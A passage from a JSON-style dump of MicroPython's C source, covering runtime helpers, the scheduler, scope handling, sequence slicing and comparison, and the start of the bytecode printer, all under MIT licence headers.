MP_OBJ_QSTR_VALUE(map->table[i].key);\n            if (*qstr_str(name) != '_') {\n                mp_store_name(name, map->table[i].value);\n            }\n        }\n    }\n}\n\n#if MICROPY_ENABLE_COMPILER\n\n// this is implemented in this file so it can optimise access to locals/globals\nmp_obj_t mp_parse_compile_execute(mp_lexer_t *lex, mp_parse_input_kind_t parse_input_kind, mp_obj_dict_t *globals, mp_obj_dict_t *locals) {\n    // save context\n    mp_obj_dict_t *volatile old_globals = mp_globals_get();\n    mp_obj_dict_t *volatile old_locals = mp_locals_get();\n\n    // set new context\n    mp_globals_set(globals);\n    mp_locals_set(locals);\n\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        qstr source_name = lex->source_name;\n        mp_parse_tree_t parse_tree = mp_parse(lex, parse_input_kind);\n        mp_obj_t module_fun = mp_compile(&parse_tree, source_name, MP_EMIT_OPT_NONE, false);\n\n        mp_obj_t ret;\n        if (MICROPY_PY_BUILTINS_COMPILE && globals == NULL) {\n            // for compile only, return value is the module function\n            ret = module_fun;\n        } else {\n            // execute module function and get return value\n            ret = mp_call_function_0(module_fun);\n        }\n\n        // finish nlr block, restore context and return value\n        nlr_pop();\n        mp_globals_set(old_globals);\n        mp_locals_set(old_locals);\n        return ret;\n    } else {\n        // exception; restore context and re-raise same exception\n        mp_globals_set(old_globals);\n        mp_locals_set(old_locals);\n        nlr_jump(nlr.ret_val);\n    }\n}\n\n#endif // MICROPY_ENABLE_COMPILER\n\nNORETURN void *m_malloc_fail(size_t num_bytes) {\n    DEBUG_printf(\"memory allocation failed, allocating %u bytes\\n\", (uint)num_bytes);\n    #if MICROPY_ENABLE_GC\n    if (gc_is_locked()) {\n        mp_raise_msg(&mp_type_MemoryError, \"memory allocation failed, heap is locked\");\n    }\n    #endif\n    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_MemoryError,\n        \"memory allocation failed, allocating %u bytes\", (uint)num_bytes));\n}\n\nNORETURN void mp_raise_msg(const mp_obj_type_t *exc_type, const char *msg) {\n    if (msg == NULL) {\n        nlr_raise(mp_obj_new_exception(exc_type));\n    } else {\n        nlr_raise(mp_obj_new_exception_msg(exc_type, msg));\n    }\n}\n\nNORETURN void mp_raise_ValueError(const char *msg) {\n    mp_raise_msg(&mp_type_ValueError, msg);\n}\n\nNORETURN void mp_raise_TypeError(const char *msg) {\n    mp_raise_msg(&mp_type_TypeError, msg);\n}\n\nNORETURN void mp_raise_OSError(int errno_) {\n    nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(errno_)));\n}\n\nNORETURN void mp_raise_NotImplementedError(const char *msg) {\n    mp_raise_msg(&mp_type_NotImplementedError, msg);\n}\n"
  },
  {
    "path": "micropython/source/py/runtime_utils.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Josef Gajdusek\n * Copyright (c) 2015 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/runtime.h\"\n#include \"py/obj.h\"\n#include \"py/nlr.h\"\n\nvoid mp_call_function_1_protected(mp_obj_t fun, mp_obj_t arg) {\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        mp_call_function_1(fun, arg);\n        nlr_pop();\n    } else {\n        mp_obj_print_exception(&mp_plat_print, MP_OBJ_FROM_PTR(nlr.ret_val));\n    }\n}\n\nvoid mp_call_function_2_protected(mp_obj_t fun, mp_obj_t arg1, mp_obj_t arg2) {\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        mp_call_function_2(fun, arg1, arg2);\n        nlr_pop();\n    } else {\n        mp_obj_print_exception(&mp_plat_print, MP_OBJ_FROM_PTR(nlr.ret_val));\n    }\n}\n"
  },
  {
    "path": "micropython/source/py/scheduler.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n\n#include \"py/runtime.h\"\n\n#if MICROPY_ENABLE_SCHEDULER\n\n// A variant of this is inlined in the VM at the pending exception check\nvoid mp_handle_pending(void) {\n    if (MP_STATE_VM(sched_state) == MP_SCHED_PENDING) {\n        mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION();\n        mp_obj_t obj = MP_STATE_VM(mp_pending_exception);\n        if (obj != MP_OBJ_NULL) {\n            MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL;\n            if (!mp_sched_num_pending()) {\n                MP_STATE_VM(sched_state) = MP_SCHED_IDLE;\n            }\n            MICROPY_END_ATOMIC_SECTION(atomic_state);\n            nlr_raise(obj);\n        }\n        mp_handle_pending_tail(atomic_state);\n    }\n}\n\n// This function should only be called be mp_sched_handle_pending,\n// or by the VM's inlined version of that function.\nvoid mp_handle_pending_tail(mp_uint_t atomic_state) {\n    MP_STATE_VM(sched_state) = MP_SCHED_LOCKED;\n    if (MP_STATE_VM(sched_sp) > 0) {\n        mp_sched_item_t item = MP_STATE_VM(sched_stack)[--MP_STATE_VM(sched_sp)];\n        MICROPY_END_ATOMIC_SECTION(atomic_state);\n        mp_call_function_1_protected(item.func, item.arg);\n    } else {\n        MICROPY_END_ATOMIC_SECTION(atomic_state);\n    }\n    mp_sched_unlock();\n}\n\nvoid mp_sched_lock(void) {\n    mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION();\n    if (MP_STATE_VM(sched_state) < 0) {\n        --MP_STATE_VM(sched_state);\n    } else {\n        MP_STATE_VM(sched_state) = MP_SCHED_LOCKED;\n    }\n    MICROPY_END_ATOMIC_SECTION(atomic_state);\n}\n\nvoid mp_sched_unlock(void) {\n    mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION();\n    if (++MP_STATE_VM(sched_state) == 0) {\n        // vm became unlocked\n        if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL || mp_sched_num_pending()) {\n            MP_STATE_VM(sched_state) = MP_SCHED_PENDING;\n        } else {\n            MP_STATE_VM(sched_state) = MP_SCHED_IDLE;\n        }\n    }\n    MICROPY_END_ATOMIC_SECTION(atomic_state);\n}\n\nbool mp_sched_schedule(mp_obj_t function, mp_obj_t arg) {\n    mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION();\n    bool ret;\n    if (MP_STATE_VM(sched_sp) < MICROPY_SCHEDULER_DEPTH) {\n        if (MP_STATE_VM(sched_state) == MP_SCHED_IDLE) {\n            MP_STATE_VM(sched_state) = MP_SCHED_PENDING;\n        }\n        MP_STATE_VM(sched_stack)[MP_STATE_VM(sched_sp)].func = function;\n        MP_STATE_VM(sched_stack)[MP_STATE_VM(sched_sp)].arg = arg;\n        ++MP_STATE_VM(sched_sp);\n        ret = true;\n    } else {\n        // schedule stack is full\n        ret = false;\n    }\n    MICROPY_END_ATOMIC_SECTION(atomic_state);\n    return ret;\n}\n\n#else // MICROPY_ENABLE_SCHEDULER\n\n// A variant of this is inlined in the VM at the pending exception check\nvoid mp_handle_pending(void) {\n    if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) {\n        mp_obj_t obj = MP_STATE_VM(mp_pending_exception);\n        MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL;\n        nlr_raise(obj);\n    }\n}\n\n#endif // MICROPY_ENABLE_SCHEDULER\n"
  },
  {
    "path": "micropython/source/py/scope.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n\n#include \"py/scope.h\"\n\n#if MICROPY_ENABLE_COMPILER\n\n// these low numbered qstrs should fit in 8 bits\nSTATIC const uint8_t scope_simple_name_table[] = {\n    [SCOPE_MODULE] = MP_QSTR__lt_module_gt_,\n    [SCOPE_LAMBDA] = MP_QSTR__lt_lambda_gt_,\n    [SCOPE_LIST_COMP] = MP_QSTR__lt_listcomp_gt_,\n    [SCOPE_DICT_COMP] = MP_QSTR__lt_dictcomp_gt_,\n    [SCOPE_SET_COMP] = MP_QSTR__lt_setcomp_gt_,\n    [SCOPE_GEN_EXPR] = MP_QSTR__lt_genexpr_gt_,\n};\n\nscope_t *scope_new(scope_kind_t kind, mp_parse_node_t pn, qstr source_file, mp_uint_t emit_options) {\n    scope_t *scope = m_new0(scope_t, 1);\n    scope->kind = kind;\n    scope->pn = pn;\n    scope->source_file = source_file;\n    if (kind == SCOPE_FUNCTION || kind == SCOPE_CLASS) {\n        #if MICROPY_USE_SMALL_HEAP_COMPILER\n        qstr id;\n        pt_extract_id(pn, &id); // function name\n        scope->simple_name = id;\n        #else\n        scope->simple_name = MP_PARSE_NODE_LEAF_ARG(((mp_parse_node_struct_t*)pn)->nodes[0]);\n        #endif\n    } else {\n        scope->simple_name = scope_simple_name_table[kind];\n    }\n    #if !MICROPY_USE_SMALL_HEAP_COMPILER\n    scope->raw_code = mp_emit_glue_new_raw_code();\n    #endif\n    scope->emit_options = emit_options;\n    scope->id_info_alloc = MICROPY_ALLOC_SCOPE_ID_INIT;\n    scope->id_info = m_new(id_info_t, scope->id_info_alloc);\n\n    return scope;\n}\n\nvoid scope_free(scope_t *scope) {\n    m_del(id_info_t, scope->id_info, scope->id_info_alloc);\n    m_del(scope_t, scope, 1);\n}\n\nid_info_t *scope_find_or_add_id(scope_t *scope, qstr qst, bool *added) {\n    id_info_t *id_info = scope_find(scope, qst);\n    if (id_info != NULL) {\n        *added = false;\n        return id_info;\n    }\n\n    // make sure we have enough memory\n    if (scope->id_info_len >= scope->id_info_alloc) {\n        scope->id_info = m_renew(id_info_t, scope->id_info, scope->id_info_alloc, scope->id_info_alloc + MICROPY_ALLOC_SCOPE_ID_INC);\n        scope->id_info_alloc += MICROPY_ALLOC_SCOPE_ID_INC;\n    }\n\n    // add new id to end of array of all ids; this seems to match CPython\n    // important thing is that function arguments are first, but that is\n    // handled by the compiler because it adds arguments before compiling the body\n    id_info = &scope->id_info[scope->id_info_len++];\n\n    id_info->kind = 0;\n    id_info->flags = 0;\n    id_info->local_num = 0;\n    id_info->qst = qst;\n    *added = true;\n    return id_info;\n}\n\nid_info_t *scope_find(scope_t *scope, qstr qst) {\n    for (mp_uint_t i = 0; i < scope->id_info_len; i++) {\n        if (scope->id_info[i].qst == qst) {\n            return &scope->id_info[i];\n        }\n    }\n    return NULL;\n}\n\nid_info_t *scope_find_global(scope_t *scope, qstr qst) {\n    while (scope->parent != NULL) {\n        scope = scope->parent;\n    }\n    return scope_find(scope, qst);\n}\n\nSTATIC void scope_close_over_in_parents(scope_t *scope, qstr qst) {\n    assert(scope->parent != NULL); // we should have at least 1 parent\n    for (scope_t *s = scope->parent;; s = s->parent) {\n        assert(s->parent != NULL); // we should not get to the outer scope\n        bool added;\n        id_info_t *id = scope_find_or_add_id(s, qst, &added);\n        if (added) {\n            // variable not previously declared in this scope, so declare it as free and keep searching parents\n            id->kind = ID_INFO_KIND_FREE;\n        } else {\n            // variable is declared in this scope, so finish\n            if (id->kind == ID_INFO_KIND_LOCAL) {\n                // variable local to this scope, close it over\n                id->kind = ID_INFO_KIND_CELL;\n            } else {\n                // ID_INFO_KIND_FREE: variable already closed over in a parent scope\n                // ID_INFO_KIND_CELL: variable already closed over in this scope\n                assert(id->kind == ID_INFO_KIND_FREE || id->kind == ID_INFO_KIND_CELL);\n            }\n            return;\n        }\n    }\n}\n\nvoid scope_find_local_and_close_over(scope_t *scope, id_info_t *id, qstr qst) {\n    if (scope->parent != NULL) {\n        for (scope_t *s = scope->parent; s->parent != NULL; s = s->parent) {\n            id_info_t *id2 = scope_find(s, qst);\n            if (id2 != NULL) {\n                if (id2->kind == ID_INFO_KIND_LOCAL || id2->kind == ID_INFO_KIND_CELL || id2->kind == ID_INFO_KIND_FREE) {\n                    id->kind = ID_INFO_KIND_FREE;\n                    scope_close_over_in_parents(scope, qst);\n                    return;\n                }\n                break;\n            }\n        }\n    }\n    id->kind = ID_INFO_KIND_GLOBAL_IMPLICIT;\n}\n\n#endif // MICROPY_ENABLE_COMPILER\n"
  },
  {
    "path": "micropython/source/py/sequence.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n// Helpers for sequence types\n\n#define SWAP(type, var1, var2) { type t = var2; var2 = var1; var1 = t; }\n\n// Implements backend of sequence * integer operation. Assumes elements are\n// memory-adjacent in sequence.\nvoid mp_seq_multiply(const void *items, size_t item_sz, size_t len, size_t times, void *dest) {\n    for (size_t i = 0; i < times; i++) {\n        size_t copy_sz = item_sz * len;\n        memcpy(dest, items, copy_sz);\n        dest = (char*)dest + copy_sz;\n    }\n}\n\n#if MICROPY_PY_BUILTINS_SLICE\n\nbool mp_seq_get_fast_slice_indexes(mp_uint_t len, mp_obj_t slice, mp_bound_slice_t *indexes) {\n    mp_obj_t ostart, ostop, ostep;\n    mp_int_t start, stop;\n    mp_obj_slice_get(slice, &ostart, &ostop, &ostep);\n\n    if (ostep != mp_const_none && ostep != MP_OBJ_NEW_SMALL_INT(1)) {\n        indexes->step = mp_obj_get_int(ostep);\n        if (indexes->step == 0) {\n            mp_raise_ValueError(\"slice step cannot be zero\");\n        }\n    } else {\n        indexes->step = 1;\n    }\n\n    if (ostart == mp_const_none) {\n        if (indexes->step > 0) {\n            start = 0;\n        } else {\n            start = len - 1;\n        }\n    } else {\n        start = mp_obj_get_int(ostart);\n    }\n    if (ostop == mp_const_none) {\n        if (indexes->step > 0) {\n            stop = len;\n        } else {\n            stop = 0;\n        }\n    } else {\n        stop = mp_obj_get_int(ostop);\n        if (stop >= 0 && indexes->step < 0) {\n            stop += 1;\n        }\n    }\n\n    // Unlike subscription, out-of-bounds slice indexes are never error\n    if (start < 0) {\n        start = len + start;\n        if (start < 0) {\n            if (indexes->step < 0) {\n                start = -1;\n            } else {\n                start = 0;\n            }\n        }\n    } else if (indexes->step > 0 && (mp_uint_t)start > len) {\n        start = len;\n    } else if (indexes->step < 0 && (mp_uint_t)start >= len) {\n        start = len - 1;\n    }\n    if (stop < 0) {\n        stop = len + stop;\n        if (stop < 0) {\n            stop = -1;\n        }\n        if (indexes->step < 0) {\n            stop += 1;\n        }\n    } else if ((mp_uint_t)stop > len) {\n        stop = len;\n    }\n\n    // CPython returns empty sequence in such case, or point for assignment is at start\n    if (indexes->step > 0 && start > stop) {\n        stop = start;\n    } else if (indexes->step < 0 && start < stop) {\n        stop = start + 1;\n    }\n\n    indexes->start = start;\n    indexes->stop = stop;\n\n    return indexes->step == 1;\n}\n\n#endif\n\nmp_obj_t mp_seq_extract_slice(size_t len, const mp_obj_t *seq, mp_bound_slice_t *indexes) {\n    (void)len; // TODO can we remove len from the arg list?\n\n    mp_int_t start = indexes->start, stop = indexes->stop;\n    mp_int_t step = indexes->step;\n\n    mp_obj_t res = mp_obj_new_list(0, NULL);\n\n    if (step < 0) {\n        while (start >= stop) {\n            mp_obj_list_append(res, seq[start]);\n            start += step;\n        }\n    } else {\n        while (start < stop) {\n            mp_obj_list_append(res, seq[start]);\n            start += step;\n        }\n    }\n    return res;\n}\n\n// Special-case comparison function for sequences of bytes\n// Don't pass MP_BINARY_OP_NOT_EQUAL here\nbool mp_seq_cmp_bytes(mp_uint_t op, const byte *data1, size_t len1, const byte *data2, size_t len2) {\n    if (op == MP_BINARY_OP_EQUAL && len1 != len2) {\n        return false;\n    }\n\n    // Let's deal only with > & >=\n    if (op == MP_BINARY_OP_LESS || op == MP_BINARY_OP_LESS_EQUAL) {\n        SWAP(const byte*, data1, data2);\n        SWAP(size_t, len1, len2);\n        if (op == MP_BINARY_OP_LESS) {\n            op = MP_BINARY_OP_MORE;\n        } else {\n            op = MP_BINARY_OP_MORE_EQUAL;\n        }\n    }\n    size_t min_len = len1 < len2 ? len1 : len2;\n    int res = memcmp(data1, data2, min_len);\n    if (op == MP_BINARY_OP_EQUAL) {\n        // If we are checking for equality, here're the answer\n        return res == 0;\n    }\n    if (res < 0) {\n        return false;\n    }\n    if (res > 0) {\n        return true;\n    }\n\n    // If we had tie in the last element...\n    // ... and we have lists of different lengths...\n    if (len1 != len2) {\n        if (len1 < len2) {\n            // ... then longer list length wins (we deal only with >)\n            return false;\n        }\n    } else if (op == MP_BINARY_OP_MORE) {\n        // Otherwise, if we have strict relation, equality means failure\n        return false;\n    }\n    return true;\n}\n\n// Special-case comparison function for sequences of mp_obj_t\n// Don't pass MP_BINARY_OP_NOT_EQUAL here\nbool mp_seq_cmp_objs(mp_uint_t op, const mp_obj_t *items1, size_t len1, const mp_obj_t *items2, size_t len2) {\n    if (op == MP_BINARY_OP_EQUAL && len1 != len2) {\n        return false;\n    }\n\n    // Let's deal only with > & >=\n    if (op == MP_BINARY_OP_LESS || op == MP_BINARY_OP_LESS_EQUAL) {\n        SWAP(const mp_obj_t *, items1, items2);\n        SWAP(size_t, len1, len2);\n        if (op == MP_BINARY_OP_LESS) {\n            op = MP_BINARY_OP_MORE;\n        } else {\n            op = MP_BINARY_OP_MORE_EQUAL;\n        }\n    }\n\n    size_t len = len1 < len2 ? len1 : len2;\n    for (size_t i = 0; i < len; i++) {\n        // If current elements equal, can't decide anything - go on\n        if (mp_obj_equal(items1[i], items2[i])) {\n            continue;\n        }\n\n        // Othewise, if they are not equal, we can have final decision based on them\n        if (op == MP_BINARY_OP_EQUAL) {\n            // In particular, if we are checking for equality, here're the answer\n            return false;\n        }\n\n        // Otherwise, application of relation op gives the answer\n        return (mp_binary_op(op, items1[i], items2[i]) == mp_const_true);\n    }\n\n    // If we had tie in the last element...\n    // ... and we have lists of different lengths...\n    if (len1 != len2) {\n        if (len1 < len2) {\n            // ... then longer list length wins (we deal only with >)\n            return false;\n        }\n    } else if (op == MP_BINARY_OP_MORE) {\n        // Otherwise, if we have strict relation, sequence equality means failure\n        return false;\n    }\n\n    return true;\n}\n\n// Special-case of index() which searches for mp_obj_t\nmp_obj_t mp_seq_index_obj(const mp_obj_t *items, size_t len, size_t n_args, const mp_obj_t *args) {\n    mp_obj_type_t *type = mp_obj_get_type(args[0]);\n    mp_obj_t value = args[1];\n    size_t start = 0;\n    size_t stop = len;\n\n    if (n_args >= 3) {\n        start = mp_get_index(type, len, args[2], true);\n        if (n_args >= 4) {\n            stop = mp_get_index(type, len, args[3], true);\n        }\n    }\n\n    for (size_t i = start; i < stop; i++) {\n        if (mp_obj_equal(items[i], value)) {\n            // Common sense says this cannot overflow small int\n            return MP_OBJ_NEW_SMALL_INT(i);\n        }\n    }\n\n    mp_raise_ValueError(\"object not in sequence\");\n}\n\nmp_obj_t mp_seq_count_obj(const mp_obj_t *items, size_t len, mp_obj_t value) {\n    size_t count = 0;\n    for (size_t i = 0; i < len; i++) {\n         if (mp_obj_equal(items[i], value)) {\n              count++;\n         }\n    }\n\n    // Common sense says this cannot overflow small int\n    return MP_OBJ_NEW_SMALL_INT(count);\n}\n"
  },
  {
    "path": "micropython/source/py/showbc.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <assert.h>\n\n#include \"py/bc0.h\"\n#include \"py/bc.h\"\n\n#if MICROPY_DEBUG_PRINTERS\n\n// redirect all printfs in this file to the platform print stream\n#define printf(...) mp_printf(&mp_plat_print, __VA_ARGS__)\n\n#define DECODE_UINT { \\\n    unum = 0; \\\n    do { \\\n        unum = (unum << 7) + (*ip & 0x7f); \\\n    } while ((*ip++ & 0x80) != 0); \\\n}\n#define DECODE_ULABEL do { unum = (ip[0] | (ip[1] << 8)); ip += 2; } while (0)\n#define DECODE_SLABEL do { unum = (ip[0] | (ip[1] << 8)) - 0x8000; ip += 2; } while (0)\n\n#if MICROPY_PERSISTENT_CODE\n\n#define DECODE_QSTR \\\n    qst = ip[0] | ip[1] << 8; \\\n    ip += 2;\n#define DECODE_PTR \\\n    DECODE_UINT; \\\n    unum = mp_showbc_const_table[unum]\n#define DECODE_OBJ \\\n    DECODE_UINT; \\\n    unum = mp_showbc_const_table[unum]\n\n#else\n\n#define DECODE_QSTR { \\\n    qst = 0; \\\n    do { \\\n        qst = (qst << 7) + (*ip & 0x7f); \\\n    } while ((*ip++ & 0x80) != 0); \\\n}\n#define DECODE_PTR do { \\\n    ip = (byte*)MP_ALIGN(ip, sizeof(void*)); \\\n    unum = (uintptr_t)*(void**)ip; \\\n    ip += sizeof(void*); \\\n} while (0)\n#define DECODE_OBJ do { \\\n    ip = (byte*)MP_ALIGN(ip, sizeof(mp_obj_t)); \\\n    unum = (mp_uint_t)*(mp_obj_t*)ip; \\\n    ip += sizeof(mp_obj_t); \\\n} while (0)\n\n#endif\n\nconst byte *mp_showbc_code_start;\nconst mp_uint_t *mp_showbc_const_table;\n\nvoid mp_bytecode_print(const void *descr, const byte *ip, mp_uint_t len, const mp_uint_t *const_table) {\n    mp_showbc_code_start = ip;\n\n    // get bytecode parameters\n    mp_uint_t n_state = mp_decode_uint(&ip);\n    mp_uint_t n_exc_stack = mp_decode_uint(&ip);\n    /*mp_uint_t scope_flags =*/ ip++;\n    mp_uint_t n_pos_args = *ip++;\n    mp_uint_t n_kwonly_args = *ip++;\n    /*mp_uint_t n_def_pos_args =*/ ip++;\n\n    const byte *code_info = ip;\n    mp_uint_t code_info_size = mp_decode_uint(&code_info);\n    ip += code_info_size;\n\n    #if MICROPY_PERSISTENT_CODE\n    qstr block_name = code_info[0] | (code_info[1] << 8);\n    qstr source_file = code_info[2] | (code_info[3] << 8);\n    code_info += 4;\n    #else\n    qstr block_name = mp_decode_uint(&code_info);\n    qstr source_file = mp_decode_uint(&code_info);\n    #endif\n    printf(\"File %s, code block '%s' (descriptor: %p, bytecode @%p \" UINT_FMT \" bytes)\\n\",\n        qstr_str(source_file), qstr_str(block_name), descr, mp_showbc_code_start, len);\n\n    // raw bytecode dump\n    printf(\"Raw bytecode (code_info_size=\" UINT_FMT \", bytecode_size=\" UINT_FMT \"):\\n\", code_info_size, len - code_info_size);\n    for (mp_uint_t i = 0; i < len; i++) {\n        if (i > 0 && i % 16 == 0) {\n            printf(\"\\n\");\n        }\n        printf(\" %02x\", mp_showbc_code_start[i]);\n    }\n    printf(\"\\n\");\n\n    // bytecode prelude: arg names (as qstr objects)\n    printf(\"arg names:\");\n    for (mp_uint_t i = 0; i < n_pos_args + n_kwonly_args; i++) {\n        printf(\" %s\", qstr_str(MP_OBJ_QSTR_VALUE(const_table[i])));\n    }\n    printf(\"\\n\");\n\n    printf(\"(N_STATE \" UINT_FMT \")\\n\", n_state);\n    printf(\"(N_EXC_STACK \" UINT_FMT \")\\n\", n_exc_stack);\n\n    // for printing line number info\n    const byte *bytecode_start = ip;\n\n    // bytecode prelude: initialise closed over variables\n    {\n        uint local_num;\n        while ((local_num = *ip++) != 255) {\n            printf(\"(INIT_CELL %u)\\n\", local_num);\n        }\n        len -= ip - mp_showbc_code_start;\n    }\n\n    // print out line number info\n    {\n        mp_int_t bc = bytecode_start - ip;\n        mp_uint_t source_line = 1;\n        printf(\"  bc=\" INT_FMT \" line=\" UINT_FMT \"\\n\", bc, source_line);\n        for (const byte* ci = code_info; *ci;) {\n            if ((ci[0] & 0x80) == 0) {\n                // 0b0LLBBBBB encoding\n                bc += ci[0] & 0x1f;\n                source_line += ci[0] >> 5;\n                ci += 1;\n            } else {\n                // 0b1LLLBBBB 0bLLLLLLLL encoding (l's LSB in second byte)\n                bc += ci[0] & 0xf;\n                source_line += ((ci[0] << 4) & 0x700) | ci[1];\n                ci += 2;\n            }\n            printf(\"  bc=\" INT_FMT \" line=\" UINT_FMT \"\\n\", bc, source_line);\n        }\n    }\n    mp_bytecode_print2(ip, len - 0, const_table);\n}\n\nconst byte *mp_bytecode_print_str(const byte *ip) {\n    mp_uint_t unum;\n    qstr qst;\n\n    switch (*ip++) {\n        case MP_BC_LOAD_CONST_FALSE:\n            printf(\"LOAD_CONST_FALSE\");\n            break;\n\n        case MP_BC_LOAD_CONST_NONE:\n            printf(\"LOAD_CONST_NONE\");\n            break;\n\n        case MP_BC_LOAD_CONST_TRUE:\n            printf(\"LOAD_CONST_TRUE\");\n            break;\n\n        case 